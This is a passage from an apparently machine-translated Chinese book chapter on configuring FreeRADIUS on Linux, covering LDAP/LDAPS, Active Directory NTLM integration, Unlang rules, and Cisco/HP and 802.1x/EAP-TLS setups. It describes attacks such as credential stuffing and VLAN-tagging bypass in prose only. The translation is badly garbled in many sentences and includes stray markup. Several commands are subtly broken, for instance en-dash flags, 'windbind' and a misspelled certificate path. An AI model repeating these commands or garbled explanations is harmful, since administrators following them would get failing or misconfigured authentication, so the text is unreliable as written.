-接下来,让我们创建一个测试用户使用`sudo`来编辑`/etc/freeradius/3.0/users`文件,并添加一个测试帐户,如下所示: - -```sh -testaccount Cleartext-Password := "Test123" -``` - -最后,使用以下命令重新启动您的服务: - -```sh -sudo service freeradius restart -``` - -现在,进行一些故障排除——为了测试配置文件的语法,使用以下命令: - -```sh -sudo freeradius –CX -``` - -要测试认证操作,请验证您的 RADIUS 服务器信息被定义为 RADIUS 客户端(默认为 RADIUS 客户端),然后使用`radclient`命令,如下所示: - -```sh -$ echo "User-Name=testaccount,User-Password=Test123" | radclient localhost:1812 auth testing123 -Sent Access-Request Id 31 from 0.0.0.0:34027 to 127.0.0.1:1812 length 44 -Received Access-Accept Id 31 from 127.0.0.1:1812 to 127.0.0.1:34027 length 20 -``` - -完成这个测试后,建议您删除本地定义的用户—这不是您应该忘记的事情,因为它可能会留给攻击者以后使用。 现在让我们将配置扩展到一个更典型的企业配置—我们将添加一个基于 LDAP 的后端目录。 - -# 带 LDAP/LDAPS 后端认证的 RADIUS - -使用等后端身份验证存储(如**LDAP**)有很多好处。 由于这通常与常规登录使用相同的身份验证存储,这给我们带来了几个好处,详细如下: - -* LDAP 中的组成员关系可用于控制对关键访问(如管理访问)的访问。 -* RADIUS 访问的密码与标准登录的密码相同,这使得它们更容易记住。 -* 密码和密码更改由用户控制。 -* 当用户更改组时,凭证维护位于一个中心位置。 特别是,如果用户离开组织,他们的帐户在 LDAP 中被禁用后,就会在 RADIUS 中被禁用。 - -这种方法的缺点很简单:用户很难选择好的密码。 这就是为什么,特别是对于任何面向公共互联网的接口,建议使用 MFA(我们将在本章的后面介绍这一点)。 - -利用这一点,如果访问仅由一个简单的用户/密码交换控制,攻击者有几个很好的选择来获得访问,概述如下: - -* **使用凭证填充**: 用这种方法,攻击者从其他收集密码妥协(这些都是免费的),以及密码,你可能希望看到本地或在公司内部(当地体育团队或公司产品名称,例如),或者单词,可能是重要的目标账户(儿童或配偶的名字,汽车模型, 例如街道名称或电话号码信息)。 然后,他们会尝试所有这些方法来对付他们的目标,他们通常会从公司网站或社交媒体网站上收集这些信息(LinkedIn 就是他们最喜欢的方法)。 这是非常成功的,因为人们倾向于使用可预测的密码,或者在多个站点使用相同的密码,或者两者都使用。 在任何规模的组织中,攻击者在这种攻击中通常是成功的,时间通常从几分钟到一天。 这足够成功,自动在一些恶意病毒,最明显的是*开始 Mirai*2017 年(攻击行政上网常见**的**(【显示】物联网)设备), 然后扩展到包括任意数量的派生字符,它们使用普通单词列表来猜测密码。 -* **强力强制凭据**:与凭据填充相同,但对所有帐户使用整个密码列表,并在用尽这些单词后尝试所有字符组合。 实际上,这与证书填充是一样的,只是在最初的攻击之后“继续”。 这显示了攻击者和防御者之间的不平衡——继续攻击对攻击者来说基本上是免费的(或者像计算时间和带宽一样便宜),那么为什么他们不继续尝试呢? - -为 LDAP 身份验证存储配置 RADIUS 很容易。 虽然我们将讨论 LDAP 配置标准,重要的是要记住,这个协议是明文,因此攻击者是一个伟大的目标——**LDAPS**(**LDAP /传输层安全性(TLS)**总是优先。 通常,标准 LDAP 配置应该只用于测试,然后再使用 LDAPS 对加密方面进行分层。 - -首先,让我们在 RADIUS 中配置后端目录,使用 LDAP 作为传输协议。 在本例中,我们的 LDAP 目录是 Microsoft 的**Active directory**(**AD**),但在仅 Linux 环境中,通常有一个 Linux LDAP 目录(例如,使用 OpenLDAP)。 - -首先,安装`freeradius-ldap`包,如下所示: - -```sh -$ sudo apt-get install freeradius-ldap -``` - -在继续实现 LDAPS 之前,您需要您的 LDAPS 服务器所使用的 CA 服务器的公共证书。 收集这个文件在**隐私增强邮件**(**PEM)格式(也叫做 Base64 格式,如果你还记得从[*第八章【显示】*](08.html#_idTextAnchor133),*证书服务在 Linux 上*),并将其复制到`/usr/share/ca-certificates/extra`目录中(您需要创建这个目录),如下:** - -```sh -$ sudo mkdir /usr/share/ca-certificates/extra -``` - -将证书复制或移动到新目录中,如下所示: - -```sh -$ sudo cp publiccert.crt /usr/share/ca-certifiates/extra -``` - -告诉 Ubuntu 将这个目录添加到`certs listgroups`,如下所示: - -```sh -$ sudo dpkg-reconfigure ca-certificates -``` - -系统将提示您添加任何新证书,因此请确保选择刚刚添加的证书。 如果您不希望在列表中看到任何证书,请取消此操作,并在继续之前验证这些证书不是恶意的。 - -接下来,我们将编辑`/etc/freeradius/3.0/mods-enabled/ldap`文件。 这个文件不在这里——如果需要,您可以引用`/etc/freeradius/3.0/mods-available/ldap`文件作为示例,或者直接链接到该文件。 - -下面显示的配置中的`server`行意味着您的 RADIUS 服务器必须能够使用**域名系统**(**DNS**)解析该服务器名称。 - -我们将使用以下几行配置 LDAPS: - -```sh -ldap { - server = 'dc01.coherentsecurity.com' - port = 636 - # Login credentials for a special user for FreeRADIUS which has the required permissions - identity = ldapuser@coherentsecurity.com - password = - base_dn = 'DC=coherentsecurity,DC=com' - user { - # Comment out the default filter which uses uid and replace that with samaccountname - #filter = "(uid=%{%{Stripped-User-Name}:-%{User-Name}})" - filter = "(samaccountname=%{%{Stripped-User-Name}:-%{User-Name}})" - } - tls { - ca_file = /usr/share/ca-certificates/extra/publiccert.crt - } -} -``` - -如果您被迫配置 LDAP 而不是 LDAPS,端口将更改为`389`,当然没有证书,因此`ldap`配置文件中的`tls`部分可以删除或注释掉。 - -我们通常使用的`ldapuser`示例用户不需要任何异常访问。 但是,请确保为该帐户使用一个长(>16 个字符)随机密码,因为在大多数环境中,该密码不太可能随着时间的推移频繁更改。 - -接下来,我们直接**密码身份验证协议**(**PAP) LDAP 认证,通过将这部分添加到`/etc/freeradius/3.0/sites-enabled/default`的`authenticate / pap`部分文件(注意,这是一个链接到主文件`/etc/freeradius/3.0/sites-available`),如下:** - -```sh - pap - if (noop && User-Password) { - update control { - Auth-Type := LDAP - } - } -``` - -另外,请确保取消同一部分中的`ldap`行注释,如下所示: - -```sh - ldap -``` - -现在我们可以在前台运行`freeradius`。 这将允许我们看到消息发生时的处理过程—特别是显示的任何错误。 这意味着我们不必在初始测试集期间查找错误日志。 下面是你需要的代码: - -```sh -$ sudo freeradius -cx -``` - -如果需要进一步调试,可以将`freeradius`服务器作为前台应用运行,以实时显示默认日志,代码如下: - -```sh -$ sudo freeradius –X -``` - -最后,当一切正常工作时,通过运行以下命令重新启动 RADIUS 服务器来收集配置更改: - -```sh -$ sudo service freeradius restart -``` - -同样,要从本地机器测试用户登录,请执行以下代码: - -```sh -$ echo "User-Name=test,User-Password=P@ssw0rd!" | radclient localhost:1812 auth testing123 -``` - -最后,我们希望启用启用 ldap 的组支持——我们将在后面的部分(*RADIUS 用例场景*)中看到,我们希望在各种策略中使用组成员关系。 为此,我们将重新访问`ldap`文件并添加一个`group`节,如下所示: - -```sh - group { - base_dn = "${..base_dn}" - filter = '(objectClass=Group)' - name_attribute = cn - membership_filter = "(|(member=%{control:${..user_dn}})(memberUid=%{%{Stripped-User-Name}:-%{User-Name}}))" - membership_attribute = 'memberOf' - cacheable_name = 'no' - cacheable_dn = 'no' - } -``` - -完成这些之后,我们应该认识到,LDAP 与其说是用于身份验证,不如说是用于授权—例如,它是检查组成员关系的一种很好的方法。 事实上,如果您注意到在我们构建时,这是在配置文件中特别调用的。 - -让我们来解决这个问题,让使用**NT LAN Manager**(**NTLM**),这是用于身份验证的底层 AD 协议之一。 - -## NTLM 认证(AD) -引入 CHAP - -将 RADIUS 链接回 AD 以获取帐户信息和组成员身份是目前我们在大多数组织中看到的最常见的配置。 而微软**网络策略服务器**(**NPS)是免费的,很容易安装在 domain-member Windows Server,它没有一个简单的配置链接它**双重认证【显示】**(**2 fa)服务,如谷歌身份验证。 这使得具有 AD 集成的基于 linux 的 RADIUS 服务器成为需要 MFA 的组织的一个有吸引力的选择,这些组织在建立访问权限时还需要利用 AD 组成员。**** - - **这个方法的身份验证是什么样的? 让我们看看标准**Challenge-Handshake 认证协议**(**的家伙),**微软章**(**MS-CHAP**)或 MS-CHAPv2,这【显示】将口令修改功能添加到半径交换。 一个基本的 CHAP 交换看起来像这样:** - -![Figure 9.4 – Basic CHAP exchange ](img/B16336_09_004.jpg) - -图 9.4 -基本的 CHAP 交换 - -按照顺序进行前面的交换,我们可以注意到以下几点: - -* 首先,客户端发送初始的**Hello**,其中包括**USERID**(但不包括密码)。 -* 事件解释**CHAP 挑战**来自 NAS。 这是一个随机数和 RADIUS 密钥的结果,然后使用 MD5 对密钥进行散列。 -* 客户端(**Supplicant**)使用该值对密码进行散列,然后在响应中发送该值。 -* NAS 将随机数和响应值发送给 RADIUS 服务器,RADIUS 服务器进行自己的计算。 -* 如果两个值匹配,则会话收到**RADIUS Access-Accept**响应; 如果不是,则会得到一个**RADIUS Access-Reject**响应。 - -**受保护的可扩展身份验证协议**(**PEAP)添加一个皱纹这交换——之间有一个 TLS 交换客户端和 RADIUS 服务器,客户端可以验证服务器的身份,以及加密的数据交换使用标准的 TLS。 为此,RADIUS 服务器需要一个证书,而客户机需要其受信任 CA 存储库中的颁发 CA。** - - **要为 FreeRADIUS 配置 AD 集成(使用 PEAP MS-CHAPv2),我们将为身份验证配置`ntlm_auth`,并将 LDAP 按原样移动到配置的`authorize`部分。 - -要开始使用`ntlm_auth`,我们需要安装`samba`(一个对**SMB**的操作,它代表**服务器消息块**的)。 首先,确保它还没有安装,如下所示: - -```sh -$ sudo apt list --installed | grep samba -WARNING: apt does not have a stable CLI interface. Use with caution in scripts. -samba-libs/focal-security,now 2:4.11.6+dfsg-0ubuntu1.6 amd64 [installed,upgradable to: 2:4.11.6+dfsg-0ubuntu1.8] -``` - -从这个清单中,我们看到它没有安装在我们的 VM 中,所以让我们用以下命令将它添加到我们的配置中: - -```sh - sudo apt-get install samba -``` - -同时,安装以下设备: - -```sh -winbind with sudo apt-get install winbind. -``` - -编辑`/etc/samba/smb.conf`,并为您的域(显示了我们的测试域)更新以下代码片段中显示的行。 请确保在编辑时使用`sudo`—你需要 root 权限来修改这个文件(注意`[homes]`行可能在默认情况下被注释掉): - -```sh -[global] - workgroup = COHERENTSEC - security = ADS - realm = COHERENTSECURITY.COM - winbind refresh tickets = Yes - winbind use default domain = yes - vfs objects = acl_xattr - map acl inherit = Yes - store dos attributes = Yes - dedicated keytab file = /etc/krb5.keytab - kerberos method = secrets and keytab -[homes] - comment = Home Directories - browseable = no - writeable=yes -``` - -接下来,我们将编辑`krb5.conf`文件。 示例文件位于`/usr/share/samba/setup`—将该文件复制到`/etc`并编辑该副本。 注意,在默认情况下,存在`EXAMPLE.COM`项,在大多数安装中,应该删除这些项(`example.com`是示例和文档的保留域)。 下面的代码片段说明了该代码: - -```sh -[logging] - default = FILE:/var/log/krb5libs.log - kdc = FILE:/var/log/krb5kdc.log - admin_server = FILE:/var/log/kadmind.log -[libdefaults] - default_realm = COHERENTSECURITY.COM - dns_lookup_realm = false - dns_lookup_kdc = false -[realms] - COHERENTSECURITY.COM = { - kdc = dc01.coherentsecurity.com:88 - admin_server = dc01.coherentsecurity.com:749 - kpaswordserver = dc01.coherentsecurity.com - default_domain = COHERENTSECURITY.COM - } -[domain_realm] - .coherentsecurity.com = coherentsecurity.com -[kdc] - profile = /var/kerberos/krb5kdc/kdc.conf -[appdefaults] - pam = { - debug = false - ticket_lifetime = 36000 - renew_lifetime = 36000 - forwardable = true - krb4_convert = false - } -``` - -编辑`/etc/nsswitch.conf`文件并添加`winbind`关键字,如下面的代码片段所示。 请注意,在 Ubuntu 20 中,`automount`这一行在默认情况下是没有的,所以你可能希望添加这一行: - -```sh -passwd: files systemd winbind -group: files systemd winbind -shadow: files winbind -protocols: db files winbind -services: db files winbind -netgroup: nis winbind -automount: files winbind -``` - -现在应该为您部分配置了,重新启动您的 Linux 主机,然后验证以下两个服务正在运行: - -* `smbd`提供文件共享和打印机共享服务。 -* `nmbd`提供 NetBIOS-to-IP-address 名称服务。 - -此时,您可以将您的 Linux 主机加入到 AD 域中(您将被提示输入密码),如下所示: - -```sh -# net ads join –U Administrator -``` - -重新启动`smbd`和`windbind`守护进程,如下所示: - -```sh -# systemctl restart smbd windbind -``` - -您可以使用以下代码检查状态: - -```sh -$ sudo ps –e | grep smbd -$ sudo ps –e | grep nmbd -``` - -或者,为了获得更详细的信息,你可以运行以下代码: - -```sh -$ sudo service smbd status -$ sudo service nmbd status -``` - -你现在应该能够列出 Windows 域中的用户和组,如下代码片段所示: - -```sh -$ wbinfo -u -COHERENTSEC\administrator -COHERENTSEC\guest -COHERENTSEC\ldapuser -COHERENTSEC\test -…. -$ wbinfo -g -COHERENTSEC\domain computers -COHERENTSEC\domain controllers -COHERENTSEC\schema admins -COHERENTSEC\enterprise admins -COHERENTSEC\cert publishers -COHERENTSEC\domain admins -… -``` - -如果不起作用,那么首先要寻找答案的地方可能是 DNS。 记住这句古老的谚语,在这里用俳句来表达: - -*不是 DNS* - -*不可能是 DNS* - -*DNS* - -这很有趣,因为这是真的。 如果 DNS 配置不完美,那么所有其他事情都不能像预期的那样工作。 为了让这一切工作,您的 Linux 工作站将需要解析 Windows DNS 服务器上的记录。 做到这一点最简单的方法是让你站的 DNS 服务器设置点的 IP(参考第二章[](02.html#_idTextAnchor035)*,*基本的 Linux 网络配置和操作使用本地接口*,在`nmcli`如果你需要刷新命令)。 或者,您可以在您的 Linux DNS 服务器上设置一个条件转发器,或者在您的 Linux 主机上添加一个 AD DNS 的辅助区域—有几种可供选择的方法,这取决于您需要在您的情况下将哪个服务作为“主要”服务。* - - *要测试 DNS 解析,请尝试按名称 ping 您的域控制器。 如果可以,尝试查找一些**服务**(**SRV**)记录(这些记录是 AD 基础的一部分)—例如,您可以查看下面这个: - -```sh -dig +short _ldap._tcp.coherentsecurity.com SRV -0 100 389 dc01.coherentsecurity.com. -``` - -接下来,验证您可以使用`wbinfo`验证 AD,然后再次使用`ntlm_auth`命令(RADIUS 使用的),如下所示: - -```sh -wbinfo -a administrator%Passw0rd! -plaintext password authentication failed -# ntlm_auth –-request-nt-key –-domain=coherentsecurity.com --username=Administrator -Password: -NT_STATUS_OK: The operation completed successfully. (0x0) -``` - -请注意,对于`wbinfo`登录尝试,纯文本密码失败——这(当然)是预期的情况。 - -在与域的连接正常工作之后,我们现在就可以开始处理 RADIUS 配置了。 - -我们的第一步是更新`/etc/freeradius/3.0/mods-available/mschap`文件,配置一个设置来修复挑战/响应握手中的问题。 你的`mschap`文件需要包含以下代码: - -```sh -chap { - with_ntdomain_hack = yes -} -``` - -此外,如果在文件中向下滚动,您将看到以`ntlm_auth ="`开头的一行。 你会希望这一行读起来像这样: - -```sh -ntlm_auth = "/usr/bin/ntlm_auth --request-nt-key --username=%{%{Stripped-User-Name}:-%{%{User-Name}:-None}} --challenge=%{%{mschap:Challenge}:-00} --nt-response=%{%{mschap:NT-Response}:-00} --domain=%{mschap:NT-Domain}" -``` - -如果您正在进行机器身份验证,您可能需要将`username`参数更改为如下: - -```sh ---username=%{%{mschap:User-Name}:-00} -``` - -最后,为了启用 PEAP,我们转到`mods-available/eap`文件并更新`default_eap_type`行,并将该方法从`md5`更改为`peap`。 然后,在`tls-config tls-common`部分中,将`random_file`行从默认值`${certdir}/random`更新为现在显示的`random_file = /dev/urandom`。 - -完成后,您希望对`eap`文件的更改如下所示: - -```sh -eap { - default_eap_type = peap -} -tls-config tls-common { - random_file = /dev/urandom -} -``` - -这样就完成了 PEAP 身份验证的典型服务器端配置。 - -在客户端(请求方)端,我们只需启用 CHAP 或 PEAP 身份验证。 在这种配置中,工作站发送用户 ID 或机器名作为身份验证帐户,以及用户或工作站的密码的散列版本。 在服务器端,将此散列与其自己的计算集进行比较。 密码永远不会在明文中传输; 但是,服务器发送的“挑战”是作为额外的步骤发送的。 - -在 NAS 设备(例如,VPN 网关或无线系统)上,我们启用`MS-CHAP`或`MS-CHAPv2`身份验证(这增加了通过 RADIUS 更改密码的能力)。 - -现在,我们会看到事情变得有点复杂; 如果您想为多个事情使用 RADIUS—例如,在上同时控制 VPN 访问和管理访问该 VPN 服务器,使用相同的 RADIUS 服务器,该怎么办? 让我们来探索如何使用*U**nlang*语言来建立规则。 - -# Unlang – the unlanguage - -FreeRADIUS 支持简单的处理语言**Unlang**(简称**unlanguage**)。 这允许我们制定规则,向 RADIUS 身份验证流和最终决策添加额外的控制。 - -Unlang 语法通常是发现在虚拟服务器文件在我们的例子中,这将是`/etc/freeradius/3.0/sites-enabled/default`,并且可以在部分名为`authorize`,`authenticate`,`post-auth`,`preacct`,`accounting`,`pre-proxy`,`post-proxy`、【显示】。 - -在最常见的部署,我们可能会寻找一个传入的变量或 AV 半径两例,`Service-Type`,这可能是`Administrative`或`Authenticate-Only`,Unlang 代码,匹配核对集团加入实例,网络管理员,VPN 用户,或无线用户。 - -对于两个防火墙登录需求(`VPN-Only`或`Administrative`访问)的简单情况,您可能有这样的规则: - -```sh -if(&NAS-IP-Address == "192.168.122.20") { - if(Service-Type == Administrative && LDAP-Group == "Network Admins") { - update reply { - Cisco-AVPair = "shell:priv-lvl=15" - } - accept - } - elsif (Service-Type == "Authenticate-Only" && LDAP-Group == "VPN Users" ) { - accept - } - elsif { - reject - } -} -``` - -您可以添加进一步这个例子中,知道如果一个用户是 vpn,`Called-Station-ID`将外部防火墙的 IP 地址,而行政登录请求将 IP 或内部管理 IP(取决于您的配置)。 - -如果有大量设备在运行,那么可以使用`switch/case`结构来简化`if/else-if`语句的无穷无尽的列表。 您还可以针对各种设备名称使用**正则表达式**(**regexes**),因此如果您有良好的命名约定,那么可以将`all switches`与(例如)`NAS-Identifier =~ /SW*/`匹配。 - -如果对无线接入进行身份验证,则`NAS-Port-Type`设置为`Wireless-802.11`,对于 802.1x 有线接入请求,则`NAS-Port-Type`设置为`Ethernet`。 - -你还可以包含不同的认证标准/无线名称,名称是典型的`Called-Station-SSID`变量,在格式`:SSIDNAME`、`-`字符分隔的**媒体访问控制(MAC【显示】**)字节,`58-97-bd-bc-3e-c0:WLCORP`。 因此,为了只返回 MAC 地址,您需要匹配最后 6 个字符——比如`.\.WLCORP$`。**** - - **在典型的企业环境中,我们可能有 2 到 3 个 ssid 用于不同的访问级别、不同网络设备类型的管理用户、使用 VPN 访问的用户或访问特定 ssid 的用户—您可以看到编码工作如何快速变得非常复杂。 建议首先在小型测试环境(可能使用虚拟网络设备)中测试对`unlang`语法的更改,然后在计划的停机/测试维护窗口期间部署并进行生产测试。 - -现在我们已经构建了所有的部分,让我们为各种身份验证需求配置一些真实的设备。 - -# RADIUS 用例场景 - -在本节中,我们将研究几种设备类型以及这些设备可能具有的各种身份验证选项和需求,并探索如何使用 RADIUS 解决所有这些问题。 让我们从一个 VPN 网关开始,使用标准的用户 ID 和密码身份验证(不要担心——我们不会让它这样)。 - -## 使用用户 ID 和密码进行 VPN 认证 - -认证到 VPN 服务(或者,在之前,拨号服务)是大多数组织首先考虑的 RADIUS 服务。 然而,随着时间的推移,单因素用户 ID 和密码登录不再是任何面向公众的服务的安全选项。 我们将在本节中讨论这个问题,但在 MFA 这一节中,我们将更新它以使用更现代的方法。 - -首先,将你的 VPN 网关(通常是你的防火墙)作为 radius 的客户端添加到你的`/etc/freeradius/3.0/clients.conf`文件中,像这样: - -```sh -client hqfw01 { - ipaddr = 192.168.122.1 - vendor = cisco - secret = pzg64yr43njm5eu -} -``` - -接下来,将防火墙配置为指向 RADIUS 以进行 VPN 用户身份验证。 例如,对于 Cisco**自适应安全设备**(**ASA**)防火墙,您需要进行以下更改: - -```sh -! create a AAA Group called "RADIUS" that uses the protocol RADIUS -aaa-server RADIUS protocol radius -! next, create servers that are members of this group -aaa-server RADIUS (inside) host - key - radius-common-pw - no mschapv2-capable - acl-netmask-convert auto-detect -aaa-server RADIUS (inside) host - key - radius-common-pw - no mschapv2-capable - acl-netmask-convert auto-detect -``` - -接下来,更新隧道组使用`RADIUS`服务器组进行认证,如下所示: - -```sh -tunnel-group VPNTUNNELNAME general-attributes - authentication-server-group RADIUS - default-group-policy VPNPOLICY -``` - -现在已经可以工作了,让我们添加`RADIUS`作为管理访问该框的身份验证方法。 - -## 对网络设备的管理访问 - -我们想要添加的下一个内容是对同一防火墙的管理访问。 我们如何为管理员做到这一点,同时又以某种方式阻止普通 VPN 用户访问管理功能? 很简单——我们将利用一些额外的 AV 对(还记得我们在本章前面讨论的那些吗?) - -我们将从添加一个新的网络策略开始,使用以下凭证: - -* 对于 VPN 用户,我们将为`Service-Type`添加一个 AV 对,其值为`Authenticate Only`。 -* 对于管理用户,我们将为`Service-Type`添加一个 AV 对,其值为`Administrative`。 - -在 RADIUS 端,策略将为每个策略要求组成员关系,因此我们将在后端身份验证存储中创建名为`VPN Users`和`Network Administrators`的组,并适当地填充它们。 请注意,当这些都放在一起时,管理员将拥有 VPN 访问权和管理员访问权,但拥有普通 VPN 帐户的人将只拥有 VPN 访问权。 - -为了获得实际的规则语法,我们将返回到关于 Unlang 的前一节并使用该示例,该示例完成了我们所需要的操作。 如果您请求管理访问,则需要位于`Network Admins`组中,如果您需要进行 VPN 访问,则需要位于`VPN Users`组中。 如果访问权限和组成员身份没有对齐,就会拒绝访问。 - -现在,半径设置,**让我们直接管理访问图形用户界面**(**GUI)和**Secure Shell (SSH【显示】**)接口半径进行身份验证。 在防火墙上,将以下更改添加到我们在 VPN 实例中讨论的 ASA 防火墙配置:****** - -```sh -aaa authentication enable console RADIUS LOCAL -aaa authentication http console RADIUS LOCAL -aaa authentication ssh console RADIUS LOCAL -aaa accounting enable console RADIUS -aaa accounting ssh console RADIUS -aaa authentication login-history -``` - -注意,每个登录方法都有一个“身份验证列表”。 我们首先使用 RADIUS,但如果失败(例如,如果 RADIUS 服务器关闭或无法访问),本地帐户的身份验证将失败。 另外,请注意,我们在`enable`模式的列表中有 RADIUS。 这意味着我们不再需要所有管理员都必须使用一个单一的、共享的启用密码。 最后,`aaa authentication log-history`命令意味着当您进入`enable`模式时,防火墙将把您的用户名注入到 RADIUS 请求中,因此您在进入`enable`模式时只需要输入您的密码。 - -如果我们没有使用`unlang`规则,那么仅仅通过前面的配置就可以允许普通的访问 VPN 用户请求并获得管理访问权。 一旦您让 RADIUS 控制一个设备上的多次访问,您就必须编写规则来保持它们的直通性。 - -配置好防火墙后,让我们看看对路由器和交换机的管理访问。 - -### 对路由器和交换机的管理访问 - -我们将从一个 Cisco 路由器或交换机配置开始。 这个配置在平台和**Internetwork Operating System**(**IOS**)之间会有细微的差异,但看起来应该非常类似如下: - -```sh -radius server RADIUS01 - address ipv4 auth-port 1812 acct-port 1813 - key -radius server RADIUS02 - address ipv4 auth-port 1812 acct-port 1813 - key -aaa group server radius RADIUSGROUP - server name RADIUS01 - server name RADIUS02 -ip radius source-interface -aaa new-model -aaa authentication login RADIUSGROUP group radius local -aaa authorization exec RADIUSGROUP group radius local -aaa authorization network RADIUSGROUP group radius local -line vty 0 97 - ! restricts access to a set of trusted workstations or subnets - access-class ACL-MGT in - login authentication RADIUSG1 - transport input ssh -``` - -**Hewlett-Packard**(**HP**)ProCurve 等效配置如下: - -```sh -radius-server host key -aaa server-group radius "RADIUSG1" host -! optional RADIUS and AAA parameters -radius-server dead-time 5 -radius-server timeout 3 -radius-server retransmit 2 -aaa authentication num-attempts 3 -aaa authentication ssh login radius server-group "RADIUSG1" local -aaa authentication ssh enable radius server-group "RADIUSG1" local -``` - -注意,当进入`enable`模式时,HP 交换机将需要第二次完整的身份验证(用户 ID 和密码),而不像您所期望的那样仅仅是密码。 - -在 RADIUS 服务器上,来自 Cisco 和 HP 交换机的管理访问请求将包括我们看到的用于管理访问防火墙的相同 AV 对:`Service-type: Administrative`。 您可能会将它与 RADIUS 中的组成员要求结合起来,就像我们对防火墙所做的那样。 - -现在我们有了 RADIUS 控制对交换机的管理访问,让我们扩展 RADIUS 控制以包含更安全的身份验证方法。 让我们从研究 EAP- tls(其中**EAP**代表**可扩展身份验证协议**)开始,它使用证书在客户端和 RADIUS 服务器之间进行相互身份验证交换。 - -## EAP-TLS 认证的 RADIUS 配置 - -在开始这个部分之前,让我们来讨论一下什么是 EAP-TLS。 **EAP**是将 RADIUS 扩展到传统的用户 ID/密码交换之外的一种方法。 我们熟悉的 TLS 来自[*第 8 章*](08.html#_idTextAnchor133),*Linux 上的证书服务*。 因此,简单地说,EAP-TLS 就是使用证书来证明身份并在 RADIUS 内提供身份验证服务。 - -在大多数“常规公司”用例中,EAP-TLS 与称为 802.1x 的第二协议配对,该协议用于控制对网络的访问——例如,对无线 SSID 或有线以太网端口的访问。 我们还需要一段时间才能实现这个目标,但是让我们先看看 EAP-TLS 的具体细节,然后再添加网络访问。 - -那么,从协议的角度来看,这看起来如何呢? 如果你回顾一下*使用 web 服务器证书——*的例子中我们讨论了[*第八章*](08.html#_idTextAnchor133),*证书服务在 Linux 上*,它看起来一模一样,但在两个方向。 把它画出来(在*图 9.5*),我们看到了与我们在 web 服务器例子中看到的相同的信息交换,但在两个方向上,概述如下: - -* 客户端(或乞求者)将他们的身份信息发送给半径,用他们的用户或设备证书而不是用户 ID 和 password-this RADIUS 服务器所使用的信息核实乞求者的身份,和允许或拒绝访问基于信息(和相关规则内半径)。 -* 同时,验证服务器名称是否与证书中的**Common name**(**CN**)匹配,是否受信任。 这可以防止部署恶意的 RADIUS 服务器(例如,在“邪恶的孪生”无线攻击中)。 -* Once this mutual authentication is completed, the network connection is completed between the supplicant and the network device (NAS)—usually, that device is a switch or a WAP (or a wireless controller). - - 你可以在下面的图表中看到这方面的说明: - -![Figure 9.5 – Authentication flow for 802.1x/EAP-TLS session ](img/B16336_09_005.jpg) - -图 9.5 - 802.1x/EAP-TLS 会话认证流程 - -以下是一些需要注意的事情: - -* 所有这些都规定,所有必需的证书都是提前分发的。 这意味着 RADIUS 服务器需要安装它的证书,而请求者需要安装他们的设备证书和/或用户证书。 -* 作为其中的一部分,CA 必须受到设备、用户和 RADIUS 服务器的信任。 虽然所有这些都可以使用公共 CA 完成,但通常由私有 CA 完成。 -* 在身份验证过程中,请求者和 RADIUS 服务器(当然)都不与 CA 通信。 - -现在我们理解了 EAP-TLS 在概念上是如何工作的,那么在无线控制器上 EAP-TLS 配置是什么样子的呢? - -## 基于 802.1x/EAP-TLS 的无线网络认证 - -802.1x 认证的 EAP-TLS 作为其无线客户端认证机制被引入到许多公司中,这主要是因为每一种无线认证方法都会受到一种或多种简单的攻击。 实际上,EAP-TLS 是对无线进行身份验证的唯一安全方法。 - -也就是说,NAS 上的配置(在本例中是无线控制器)非常简单—准备和配置的繁重工作都在 RADIUS 服务器和客户机站上完成。 对于 Cisco 无线控制器,配置通常主要通过 GUI 完成,当然,也有一个命令行。 - -在 GUI 中,EAP-TLS 身份验证非常简单—我们只是为客户机设置一个直通通道,以便直接向 RADIUS 服务器进行身份验证(反之亦然)。 步骤概述如下: - -1. First, define a RADIUS server for authentication. There's an almost identical configuration for the same server for RADIUS accounting, using port `1813`. You can see a sample configuration in the following screenshot: - - ![Figure 9.6 – Wireless controller configuration for RADIUS server ](img/B16336_09_006.jpg) - - 图 9.6 - RADIUS 服务器的无线控制器配置 - -2. Next, under **SSID Definition**, we'll set up the authentication as 802.1x, as illustrated in the following screenshot: - - ![Figure 9.7 – Configuring SSID to use 802.1x authentication ](img/B16336_09_007.jpg) - - 图 9.7 -配置 SSID 使用 802.1x 认证 - -3. 最后,在**AAA 服务器**下,我们将 RADIUS 服务器连接到**SSID**,如下截图所示: - -![Figure 9.8 – Assigning RADIUS server for 802.1x authentication and accounting ](img/B16336_09_008.jpg) - -图 9.8 -分配用于 802.1x 认证和计费的 RADIUS 服务器 - -要实现这一切,客户机和 RADIUS 服务器都需要适当的证书,并需要为 EAP-TLS 身份验证配置证书。 建议提前分发证书——特别是如果您正在使用自动化方式颁发证书,那么您希望给您的客户机站点足够的前置时间,以便它们都已连接并触发它们的证书颁发和安装。 - -现在使用 EAP-TLS 保护无线网络身份验证,典型工作站交换机上的类似配置是什么样子的? - -## 基于 802.1x/EAP-TLS 的有线网络认证 - -在这个示例中,我们将展示用于网络设备 802.1x 身份验证的交换机侧配置(Cisco)。 在这个配置中,工作站使用 EAP-TLS 进行身份验证,并且我们告诉交换机“信任”电话。 虽然这是一种常见的配置,很容易绕开了攻击者可以告诉他们的笔记本“标签”其包(例如使用`nmcli`命令)**虚拟局域网**(**VLAN) 105 (VLAN)的声音。 只要交换机信任设备来设置自己的 VLAN,这种攻击就不是那么困难,尽管从那里获得所有参数“刚刚好”来继续攻击可能需要一些努力。 出于这个原因,到目前为止,最好让 pc 和手机都进行身份验证,但这需要进行额外的设置——手机需要设备证书来完成这个推荐的配置。** - -让我们继续示例交换机配置。 首先,我们定义 RADIUS 服务器和组(从管理访问一节看来,这应该很熟悉)。 - -交换机允许 802.1x 的配置包括几个全局命令,建立 RADIUS 服务器和 RADIUS 组,并将 802.1x 认证连接回 RADIUS 配置。 下面的代码片段说明了这些命令: - -```sh -radius server RADIUS01 - address ipv4 auth-port 1812 acct-port 1813 - key -radius server RADIUS02 - address ipv4 auth-port 1812 acct-port 1813 - key -aaa group server radius RADIUSGROUP - server name RADIUS01 - server name RADIUS02 -! enable dot1x authentication for all ports by default -dot1x system-auth-control -! set up RADIUS Authentication and Accounting for Network Access -aaa authentication dot1x default group RADIUSGROUP -aaa accounting dot1x default start-stop group RADIUSGROUP -``` - -接下来,我们配置交换机端口。 典型交换机端口,802.1 x 认证工作站的 VLAN 101,使用工作站和/或用户证书(此前发布)和没有认证**语音 IP**(**VOIP)手机(VLAN 105)。 请注意,正如我们所讨论的,身份验证是相互的——工作站验证 RADIUS 服务器是否有效,就像 RADIUS 服务器验证工作站一样。** - -![Table 9.2 – Interface configuration for switch 802.1x/EAP-TLS configuration ](img/B16336_09_Table_02.jpg) - -表 9.2 -交换机 802.1x/EAP-TLS 